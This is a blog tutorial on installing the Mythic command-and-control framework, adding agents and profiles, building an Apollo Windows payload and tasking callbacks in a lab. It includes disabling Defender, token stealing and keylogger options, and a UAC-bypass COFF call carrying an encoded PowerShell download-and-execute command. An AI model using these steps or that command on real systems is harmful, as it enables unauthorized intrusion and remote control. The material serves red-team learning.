What is Mythic C2 Link to heading

Mythic C2 is a modular command-and-control framework with a GUI and API to generate payloads, run listeners, and manage multi-user operations. Orchestrate agent behavior without gluing together extra utilities so you can focus on red-team engagements instead of connections and tools.

Why I like it:

  • Modular: You can swap agents, C2 profiles, and plugins without ripping the system apart.
  • GUI + API: There is a friendly web interface for quick work, plus an API for automation and integrations.
  • Multi-user friendly: Operations let teams split work and stay organized.
  • Extensible: You can add new payload types, post-exploitation modules, and listeners.

Note: Every important section has a YouTube link to the official Cody Thomas (@its-a-feature) videos talking about that section. The main functionality is the same, although the GUI has been updated since those videos.

In the official documentation we can find the following diagram:

Mythic does not run everything inside a single service or container. Instead, it uses several coordinated Docker containers that communicate with each other. By default it launches the following core services:

  • React interface for the graphical dashboard
  • RabbitMQ for internal messaging
  • Postgres as the database
  • Documentation Hugo container for mythic documentation
  • Server for the core Mythic server
  • Jupyter environment for development tasks
  • GraphQL API service
  • Nginx acting as the web gateway

As you can see, none of the containers listed above handle payloads, C2 profiles or agents. That is because each of those components runs as its own independent Docker service, added only when you install or register them later.

Mythic vs. other C2 Link to heading

I’ve tried a large number of open-source C2s; most are reliable and usable, but many are limited when it comes to making changes or expanding functionality over time.

Sliver, for example, offers a capable CLI, but its command-driven workflow can feel unintuitive and overloaded, with a lot to memorize and a fairly complex CLI. By contrast, Mythic combines a GUI and API for Payloads, listeners, and multi-user workflows, letting you coordinate agents without stitching together separate tools so you can concentrate on the operations.

The plugin-based architecture may add some initial setup complexity, but the payoff is significant: once configured, Mythic delivers exceptional extensibility, deep integration, and long-term scalability that most alternatives cannot match. While it is a heavier server, it offers a unified GUI capable of managing any existing Mythic payload type, and it also gives you the freedom to build and control your own custom payloads and plugins.

Installing Mythic - Step by Step Link to heading

Download Mythic from GitHub Link to heading

The first step is to download the Mythic repository from GitHub.

git clone https://github.com/its-a-feature/Mythic --depth 1 --single-branch
cd Mythic

«It’s recommended to run Mythic on a VM with at least 2 CPU and 4 GB RAM.»

Install Docker Link to heading

The repository includes helper scripts for common distributions to install Docker. You can install it automatically with the script install_docker_kali.sh, install_docker_debian.sh or install_docker_ubuntu.sh. Pick the script that matches your OS.

sudo bash install_docker_kali.sh

Compile mythic-cli Link to heading

Next we need to compile mythic-cli. This binary will help us to start and manage the different containers and configuration of Mythic

sudo make

Start services Link to heading 

sudo ./mythic-cli start

This will pull the required containers, create networks and launch the full Mythic stack. The first run usually takes longer because the images need to be downloaded and initialized.

Fix failed to start problems Link to heading

In case you encounter an error when using the latest version, for example Error: dependency mythic_graphql failed to start, you can use the latest release version instead of the current main branch. In my case, I use v3.4.0.5 or v3.4.0.14. To download and change the branch, execute the following commands:

git fetch origin tag v3.4.0.14 --depth 1
git checkout v3.4.0.14

Then try running make and starting the application again.

Login Link to heading

Once the containers are running, Mythic generates credentials in the .env file at the root of the repository. Get the username and password:

grep MYTHIC_ADMIN .env

In this case:

  • Username: mythic_admin
  • Password: <YOUR_PASSWORD>

And go to https://127.0.0.1:7443/:

Once logged in, we can see the Dashboard. Here we can see the number of active and recent callbacks, the payloads and workflows created, and other recent activity.

Configure .env Link to heading

Note: By default this file is generated when running the ./mythic-cli start for the first time.

Once we have all the dependencies, we can configure the .env file. This file has already been created by the previous command with the default options and auto-generated passwords, and it contains all the configuration for the Mythic infrastructure and default settings.

As we saw in the previous section, this file contains the passwords of the main services in the Mythic environment.

You can find the original configuration and some notes here:

Stats Link to heading

If we run docker compose stats we can see the resource usage of the containers. In the following image we can see the memory usage and CPU of a Mythic environment with multiple agents and different add-ons, with a total of almost 2 GB of RAM.

Agents Link to heading

By default, Mythic is only the C2 framework itself. It does not ship with any agents or C2 profiles preinstalled. These components must be downloaded and installed separately, which is a deliberate design choice and a key reason Mythic is so flexible.

This separation allows operators to add, remove, customize, or develop agents and profiles independently of the core Mythic server. You can modify or build your own agents without needing to alter the official Mythic repository, making experimentation and long-term maintenance much easier.

Publicly available Mythic agents are maintained on GitHub at: https://github.com/MythicAgents

In this example, the following agents are used:

Note Note: Cody Thomas Agents Video:

https://www.youtube.com/watch?v=Yoe4yhAiWcc&list=PLJK0fZNGiFU-iKQf9oTVpYjxL72uQUQSA&index=5

Agent Matrix Link to heading

The Agent Matrix is a reference page that helps you compare the available agents and understand their capabilities. It shows which operating systems each agent supports, along with the features and functionality they implement. This makes it easier to choose the right agent for a given target environment.

You can view the Agent Matrix here: https://mythicmeta.github.io/overview/agent_matrix.html

Agent Matrix

Apollo Link to heading

Apollo is the default agent for Windows environments. Written in .NET, it delivers a full C2 toolset for windows environments. Key features listed on the project’s GitHub page include:

  • P2P Communication
  • Credential Tracking and Manipulation
  • Unmanaged PE, .NET Assembly, and PowerShell Script Execution
  • User Exploitation Suite
  • SOCKSv5 Support
./mythic-cli install github https://github.com/MythicAgents/Apollo.git

Poseidon Link to heading

Poseidon is a Golang-based agent that compiles to Linux and macOS x64 executables. Its design focuses on stability, flexibility, and stealth across Unix-like environments. Core capabilities highlighted in the project’s own documentation include:

  • Command execution with interactive tasking
  • Upload and download of files
  • Process listing and management
  • Shell spawning with interactive sessions
  • Secure communications using Mythic’s supported transports
  • Dynamic configuration for operational needs

Profiles Link to heading

Profiles define the transport a payload uses to talk to the command-and-control layer. They implement the network protocol and message framing so agents can send results and receive tasks without changing core tasking logic. The most basic and classic one is HTTP. Publicly available Mythic C2 profiles are on GitHub:

HTTP Link to heading

The agents connects to the Mythic C2 using profiles; the easiest and most common is the HTTP profile .
HTTP makes the agent behave like a web client: it periodically polls a server endpoint, uploads any results, and receives new tasks in the server response. It works well over the internet and through proxies because it resembles normal web traffic. To install it we can execute the following command:

./mythic-cli install github https://github.com/MythicC2Profiles/http

Note: in a future post I will talk about httpx and HTTPS in this configuration

P2P Link to heading

For peer-to-peer communication inside a network, SMB and TCP profiles are available. These let agents exchange messages host-to-host instead of polling a central internet-facing server. This is useful when the Network has firewall and Network configuration that doesn’t allow connections directly to our server, but we have another agent that can reach both.

SMB Link to heading

SMB uses Windows file style mechanisms (shares, named pipes, files) to move tasking and results across machines on the same Network. It is handy for Lateral Movement but requires SMB connectivity and is visible in SMB logs.

./mythic-cli install github https://github.com/MythicC2Profiles/smb

TCP Link to heading

TCP uses raw TCP sockets for direct connections. It supports persistent or short-lived connections and gives low latency, but it may be blocked or flagged by perimeter devices since it does not look like standard web traffic.

./mythic-cli install github https://github.com/MythicC2Profiles/tcp

Basic usage Link to heading

Now let’s take a look at the main sections of Mythic when starting to use it. Future posts will cover the rest of the more advanced sections.

Let’s take a quick look at the main things you’ll interact with when you first start using Mythic. There are tons of features, but this post sticks to the basics.

The GUI has changed a bit visually since the video below, but the overall idea is still the same:

Note: Cody Thomas Video:

https://www.youtube.com/watch?v=3SNZ7S8Z_Qo&list=PLJK0fZNGiFU-iKQf9oTVpYjxL72uQUQSA&index=2

On the left bar we have the main menu with the main options and a section with extra shortcuts to specific sections inside the main options.

Mythic has a lot of options and can be a little overwhelming. But in this post we are going to focus on the main options and more basic ones.

  • Active Callbacks
  • Operations
  • Payloads

I won’t dive deep into every button here because Cody Thomas (the creator) already made a video for each section, and they’re worth watching:

Operations Link to heading

Operations are the top-level containers that organize all activity within Mythic. Each operation represents a specific engagement or lab scenario and groups together related callbacks, operators, payloads, and logs. While operations may not be the most visible or exciting feature, they are essential for keeping work structured and manageable.

They allow multiple users to collaborate within the same C2 environment without overlapping or confusing data. Users can be assigned to one or more operations and switch between them as needed, depending on the task or engagement being performed.

To manage operations, click Modify Operations to view and edit the available entries. To work within an operation, select Analysis to open the Overview panel, or use the Operation Dashboard option from the Extra Shortcuts menu.

Overview/Analysis Link to heading

The overview section is a list of current operations, with basic metadata like name, owner, and number of callbacks. Good for a quick status check. We can choose the dashboard perspective on the top right section of the page.

  • As Operator we can see:
    • Active callbacks
    • Recent payloads
    • Workflow executions
    • Top proxy activity
    • Recently Downloaded Files
    • Recent credentials found in the operations
    • Recent Tasking
    • Recent Screenshots
    • Ongoing Operations

  • And as a Leader we can see:
    • Active Callbacks
    • Top 10 commands stats
    • top 10 users contexts
    • Top 10 Active Hosts
    • Activity per Day (UTC)
    • Task Status graph
    • Operator Activity graph
    • Top 10 Artifacts graph
    • Top 10 tags graph
    • Top proxy Activity

User/role management: Link to heading

If you click Edit as admin you can control who can see or touch a particular operation. Useful for teamwork and for keeping different engagements separate.

  • Configure Operation assignments

  • Create New Operator

Operation settings Link to heading

Operation-level configuration options that affect visibility, logging, and default profiles. These are mostly administrative and should be set based on how you want to separate projects and who should have access.

Payload Link to heading

This is where you create your agents or beacons. In my case I’m creating an Apollo payload that uses HTTP, so make sure both Apollo and the HTTP profile are installed first.

In the Payload Section, click in ACTIONS on the top right section and click Generate New Payload: Choose your target OS and payload type. For windows, Apollo is already selected by default and click in Start fresh to generate a new Payload configuration.

I want a windows EXE, so I pick WinExe

Next step: pick the commands that will be included by default.

These commands can still be loaded later after execution, but adding too many makes the binary bigger and be detected. I’ll just include a few for this example:

  • getprivs
  • getsystem
  • ls
  • sleep
  • whoami

Once we click in Next we have to select the C2 Profile, here will only be the compatible installed ones. In this case we choose HTTP and click Include profile

And we configure the connection between the Payload and the C2 Profile.

Here we set the callback address. I changed the domain to http://mythic.local so I can resolve it with a custom DNS instead of using the VM IP directly. In this case I’ll leave the rest of the options as default. But here is a small summary.

  • callback_interval: Interval to the agent to connect to the C2 server
  • callback_jitter: Modification in percent to modify the interval to avoid callback exactly the with the same interval.
  • callback_port: Port public of the C2 server, usually 80 or 443.
  • headers: headers of the communication.
  • post_uri: URL to send data
  • proxy_xxxx: Hardcoded proxy settings to the Payload.

Once everything is configured we can a summary of the configurations and we can change the name and add a custom description.

And once is build is possible to download the Payload clicking the green arrow.

I’ll disable Defender during these first tests. In a future post I’ll show how to bypass it without too much effort.

Host the binary on webserver Link to heading

If we don’t want to set a web server or send the payload manually, we can share the binary via the built-in C2 HTTP server. We go to Payload configuration in the ACTIONS menu and click the Download URL World Icon.

Here we can set the profile where it will be shared and the PATH we want. In this case http and /server/apollo

If we go to the http port with that path we can get the file.

Example usage windows using DNS Link to heading

In this section, we will use an Apollo payload configured with the local domain mythic.local embedded in the apollo.exe binary. To make this work, we need to configure DNS resolution on the target system.

Open Notepad with administrative privileges and edit the hosts file to add a DNS entry. Map the domain used in the payload to the remote IP address of the C2 server, which in this case is the Kali VM. Both virtual machines must be on the same network for communication to succeed.

Now you can download the EXE going to that domain and adding the path you set in the Mythic server. The browser tries to block the binary but you can Keep anyway

Then we execute the binary with Microsoft Defender disabled.

And we get a new callback.

Callbacks Link to heading

Here we see all agents currently talking to the server. Double click a callback and a new tab opens below for that session. The tab gives a focused view of the agent’s activity and tasking history.

Each callback gets its own ID and displays things like IP, hostname, username, domain, PID, last checkin, payload info and agent type.

Elevated sessions and visual cues Link to heading

Mythic highlights elevated sessions in the UI so you can spot them quickly. Typical indicators are icons and color accents next to the callback entry to show elevated privileges. In the screenshots you’ll notice an elevated session shows a red keyboard and a red arrow to call out the admin context. That helps you decide which session to interact with when you need higher privileges for certain actions.

Tasking Link to heading

Note: Cody Thomas Video:

https://www.youtube.com/watch?v=kceOCp6hdlE&list=PLJK0fZNGiFU-iKQf9oTVpYjxL72uQUQSA&index=9&t=422s

We can send tasks to the callback. The statuses are Submitted, Agent processing, fetching file chunk X and done.

  • Submitted waiting for the agent to check in
  • Agent processing executing the command
  • fetching file chunk X sending output back
  • done finished and response available

Mythic allows commands with custom GUI in the Tasking section instead of just text, for example, the command ls or ps of Apollo.

Note: Cody Thomas Video:

https://www.youtube.com/watch?v=vBe762E8Kbs&list=PLJK0fZNGiFU-iKQf9oTVpYjxL72uQUQSA&index=10

ls command Link to heading

If you run ls in the Apollo agent you get an interactive listing of the files and folders in the current directory. The UI shows the name, size, timestamps, and some basic metadata so you can quickly scan what is there.

If you click Actions for a file you’ll see several handy options. Here’s what each one does in plain English:

  • Extended Attributes: These are extra bits of metadata attached to the file. Think of them as little name/value notes the filesystem or apps can store alongside a file. They might hold things like custom labels, checksums, or small auxiliary data. Viewing extended attributes lets you see that metadata; modifying or abusing them is something to avoid unless you are testing inside an authorized lab.
  • Access Control Entries: This shows the Access Control List entries for the file, basically who is allowed to do what. You can see which users or groups have read, write, or execute permissions. It is useful for understanding why a file can or cannot be accessed from a given session. Changes to ACLs should only be performed when you have permission and understand the impact.
  • Download: Lets you pull the file from the target to the Mythic server. This is convenient for investigation in a lab, but remember to only download files from systems you are authorized to access. Sensitive files should be handled carefully and stored securely.
  • Delete: Removes the file from the target system. Deleting files can be destructive and sometimes unrecoverable. Check that you are in the right directory and that you have the right authorization before using this. Also be aware that deletes may be logged by the target system.

ps command Link to heading

Send ps to get a full interactive process view inside the callback tab. It’s a convenient way to inspect running processes and then pick an action from the UI.

From the process view you can choose actions on a process. The UI shows options such as:

  • More info
  • Steal token
  • Screenshot
  • Inject keylogger
  • Kill

Extra - Forge and COFF/BOF Link to heading

Forge Link to heading

If you are used to another C2 like Sliver, Cobalt, etc. You can use forge to load the Sliver Armory and Sharp Collection to load COFF directly.

  • Sliver Armory : A collection of Sliver COFF modules that can be reused directly in Mythic.

  • Sharp Collection A set of .NET based tools adapted for execution within Mythic.

Together, these collections let you load and execute COFF and managed payloads directly in Mythic while preserving workflows you may already be familiar with.

sudo ./mythic-cli install github https://github.com/MythicAgents/forge

forge_collections

forge_collections {"collectionName":"SharpCollection"}


forge_collections {"collectionName":"SliverArmory"}

COFF/BOF Link to heading

Note:

  • COFF (Common Object File Format) is a standard object file produced by compilers, a generic format for compiled code.
  • BOF (Beacon Object File) is a COFF file specifically crafted to run in-memory inside a Cobalt Strike Beacon, allowing operators to execute C code without dropping binaries.

In practice, a COFF/BOF is a small, position-independent piece of compiled code that exposes entry points and arguments so a C2 framework can load it directly into memory and execute it without touching disk.

While BOFs originated in Cobalt Strike, other C2 Frameworks like Mythic or Sliver can also load COFF modules or adapted BOFs with compatible Loaders.

You can load any COFF/BOF with register_coff

# register and choose .o
register_coff

execute_coff {"coff_name":"uacbypass.x64.o","function_name":"go","timeout":30,"coff_arguments":"wchar","powershell.exe -WindowStyle Hidden -e QBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAKABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAnADEAOQAyAC4AMQA2ADgALgA1ADgALgAxADIAOQA6ADgAMAA4ADEALwBhAG0ALgB0AHgAdAAnACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwApAC4AQwBvAG4AdABlAG4AdAA="}

Note: In this example I load a file am.txt with the payload to load in the PowerShell session.

Coming Up Link to heading

More Mythic posts are on the way. Stay tuned.

Full Cody Thomas Mythic videos Link to heading

References Link to heading